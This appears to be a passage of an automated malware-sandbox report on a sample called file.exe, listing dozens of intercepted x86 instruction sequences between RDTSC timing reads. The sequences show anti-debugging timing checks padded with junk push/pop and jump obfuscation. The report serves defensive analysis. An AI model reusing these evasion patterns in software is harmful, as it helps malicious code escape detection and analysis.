Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0082 second address: 11A0086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0086 second address: 11A008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE922 second address: 11AE92D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE92D second address: 11AE931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE931 second address: 11AE94A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFDB8CDCB0Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE94A second address: 11AE950 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3E0 second address: 11AC3E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3E4 second address: 11AC3EE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFDB8F26A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3EE second address: 11AC3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jbe 00007EFDB8CDCB06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC3FE second address: 11AC402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC402 second address: 11AC40A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC40A second address: 11AC426 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC426 second address: 11AC42A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BC424 second address: 11BC452 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007EFDB8F26A16h 0x00000009 jmp 00007EFDB8F26A1Ah 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jnp 00007EFDB8F26A32h 0x00000017 pushad 0x00000018 jno 00007EFDB8F26A16h 0x0000001e pushad 0x0000001f popad 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push esi 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDF56 second address: 11BDF76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007EFDB8CDCB19h 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDF76 second address: 11BDF81 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDF81 second address: 11BDF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7CDB second address: 11D7CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jnc 00007EFDB8F26A16h 0x0000000c jns 00007EFDB8F26A16h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7CF4 second address: 11D7CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7CF8 second address: 11D7D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFDB8F26A1Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C31 second address: 11D6C73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007EFDB8CDCB06h 0x00000009 jmp 00007EFDB8CDCB19h 0x0000000e jno 00007EFDB8CDCB06h 0x00000014 popad 0x00000015 jns 00007EFDB8CDCB12h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C73 second address: 11D6C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C77 second address: 11D6C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFDB8CDCB12h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7674 second address: 11D767A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBD06 second address: 11DBD35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFDB8CDCB06h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edx, ebx 0x00000010 push 00000004h 0x00000012 mov edx, edi 0x00000014 call 00007EFDB8CDCB09h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007EFDB8CDCB10h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBD35 second address: 11DBD3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBD3B second address: 11DBD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBD3F second address: 11DBD7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007EFDB8F26A27h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007EFDB8F26A1Fh 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC018 second address: 11DC01C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD8FF second address: 11DD903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD4C4 second address: 11DD4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD4C8 second address: 11DD4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8F26A1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jne 00007EFDB8F26A16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD4E6 second address: 11DD4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD4EA second address: 11DD4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007EFDB8F26A16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8FF5 second address: 10F8FFA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0442 second address: 55F0458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov esi, 01CBCE03h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ecx, dword ptr [ebp+08h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0458 second address: 55F045C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F045C second address: 55F0462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F04B6 second address: 55F04BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F04BC second address: 55F04CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F04CB second address: 55F04CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562049D second address: 56204AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56204AF second address: 56204F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007EFDB8CDCB17h 0x0000000f xchg eax, ecx 0x00000010 jmp 00007EFDB8CDCB16h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007EFDB8CDCB0Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56204F8 second address: 56204FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56204FD second address: 562055A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, dl 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov ax, A32Bh 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 mov edi, 20DDBB2Ah 0x00000017 popad 0x00000018 mov dword ptr [esp], esi 0x0000001b pushad 0x0000001c jmp 00007EFDB8CDCB17h 0x00000021 movzx eax, di 0x00000024 popad 0x00000025 lea eax, dword ptr [ebp-04h] 0x00000028 jmp 00007EFDB8CDCB0Bh 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007EFDB8CDCB15h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562055A second address: 562055F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562055F second address: 56205DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007EFDB8CDCB0Dh 0x0000000a add cx, 7566h 0x0000000f jmp 00007EFDB8CDCB11h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007EFDB8CDCB11h 0x0000001e nop 0x0000001f pushad 0x00000020 movzx esi, bx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 mov bl, 28h 0x00000028 popad 0x00000029 popad 0x0000002a push dword ptr [ebp+08h] 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 pushfd 0x00000031 jmp 00007EFDB8CDCB18h 0x00000036 adc ecx, 401E2298h 0x0000003c jmp 00007EFDB8CDCB0Bh 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620628 second address: 5620695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, DAh 0x00000005 mov ebx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, eax 0x0000000c pushad 0x0000000d call 00007EFDB8F26A28h 0x00000012 pushfd 0x00000013 jmp 00007EFDB8F26A22h 0x00000018 xor cx, EC18h 0x0000001d jmp 00007EFDB8F26A1Bh 0x00000022 popfd 0x00000023 pop ecx 0x00000024 movsx ebx, si 0x00000027 popad 0x00000028 je 00007EFDB8F26A5Fh 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007EFDB8F26A27h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56206CD second address: 56206D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56206D1 second address: 56206EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56206EE second address: 56206F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56206F4 second address: 56206F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56206F8 second address: 562070C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dl, al 0x0000000e mov ebx, 66C29FB0h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562070C second address: 5620725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610313 second address: 5610319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610319 second address: 5610389 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 2FEF1CBDh 0x0000000e jmp 00007EFDB8F26A21h 0x00000013 add dword ptr [esp], 45BF818Bh 0x0000001a jmp 00007EFDB8F26A1Eh 0x0000001f push 4A6D8A1Bh 0x00000024 jmp 00007EFDB8F26A21h 0x00000029 xor dword ptr [esp], 3FC4A16Bh 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007EFDB8F26A23h 0x00000038 movzx esi, bx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610389 second address: 561038F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561038F second address: 56103BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000000h] 0x00000011 jmp 00007EFDB8F26A20h 0x00000016 nop 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56103BE second address: 56103C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56103C4 second address: 56103D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56103D3 second address: 56103D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56103D7 second address: 56103F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007EFDB8F26A21h 0x00000011 mov bh, ch 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56103F7 second address: 5610445 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 81h 0x00000005 mov ax, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov ch, bl 0x0000000f pushfd 0x00000010 jmp 00007EFDB8CDCB16h 0x00000015 and ecx, 2118D3D8h 0x0000001b jmp 00007EFDB8CDCB0Bh 0x00000020 popfd 0x00000021 popad 0x00000022 sub esp, 18h 0x00000025 pushad 0x00000026 mov cl, 90h 0x00000028 mov bh, 27h 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov dx, 1E38h 0x00000033 mov cx, bx 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610445 second address: 561044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561044B second address: 561044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561044F second address: 5610479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx ecx, di 0x0000000f call 00007EFDB8F26A29h 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610479 second address: 561047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561047F second address: 5610483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610483 second address: 56104AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007EFDB8CDCB14h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007EFDB8CDCB0Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56104AF second address: 56104B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56104B5 second address: 56104CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56104CE second address: 56104EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56104EA second address: 5610525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFDB8CDCB11h 0x00000009 add cx, 4256h 0x0000000e jmp 00007EFDB8CDCB11h 0x00000013 popfd 0x00000014 mov esi, 0DEAEFC7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dh, cl 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610525 second address: 5610567 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007EFDB8F26A20h 0x0000000f push eax 0x00000010 jmp 00007EFDB8F26A1Bh 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007EFDB8F26A1Bh 0x0000001e pop esi 0x0000001f mov bx, 9C4Ch 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610567 second address: 561057C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8CDCB11h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561057C second address: 56105B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [75AF4538h] 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 mov di, ax 0x00000018 popad 0x00000019 xor dword ptr [ebp-08h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007EFDB8F26A23h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56105B9 second address: 56105E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFDB8CDCB0Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56105E4 second address: 56105F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56105F6 second address: 561064F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007EFDB8CDCB16h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007EFDB8CDCB11h 0x00000019 and al, 00000006h 0x0000001c jmp 00007EFDB8CDCB11h 0x00000021 popfd 0x00000022 popad 0x00000023 nop 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 mov dx, ax 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561064F second address: 561071F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007EFDB8F26A22h 0x00000008 sub esi, 3D6FF9D8h 0x0000000e jmp 00007EFDB8F26A1Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jmp 00007EFDB8F26A28h 0x0000001b popad 0x0000001c lea eax, dword ptr [ebp-10h] 0x0000001f pushad 0x00000020 movzx ecx, di 0x00000023 movsx edx, ax 0x00000026 popad 0x00000027 mov dword ptr fs:[00000000h], eax 0x0000002d jmp 00007EFDB8F26A22h 0x00000032 mov dword ptr [ebp-18h], esp 0x00000035 jmp 00007EFDB8F26A20h 0x0000003a mov eax, dword ptr fs:[00000018h] 0x00000040 pushad 0x00000041 mov eax, 3BAFCF9Dh 0x00000046 call 00007EFDB8F26A1Ah 0x0000004b push ecx 0x0000004c pop edx 0x0000004d pop eax 0x0000004e popad 0x0000004f mov ecx, dword ptr [eax+00000FDCh] 0x00000055 jmp 00007EFDB8F26A1Dh 0x0000005a test ecx, ecx 0x0000005c jmp 00007EFDB8F26A1Eh 0x00000061 jns 00007EFDB8F26A59h 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a call 00007EFDB8F26A1Dh 0x0000006f pop eax 0x00000070 mov cx, di 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561071F second address: 5610737 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 5928EAFFh 0x00000008 mov dx, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add eax, ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
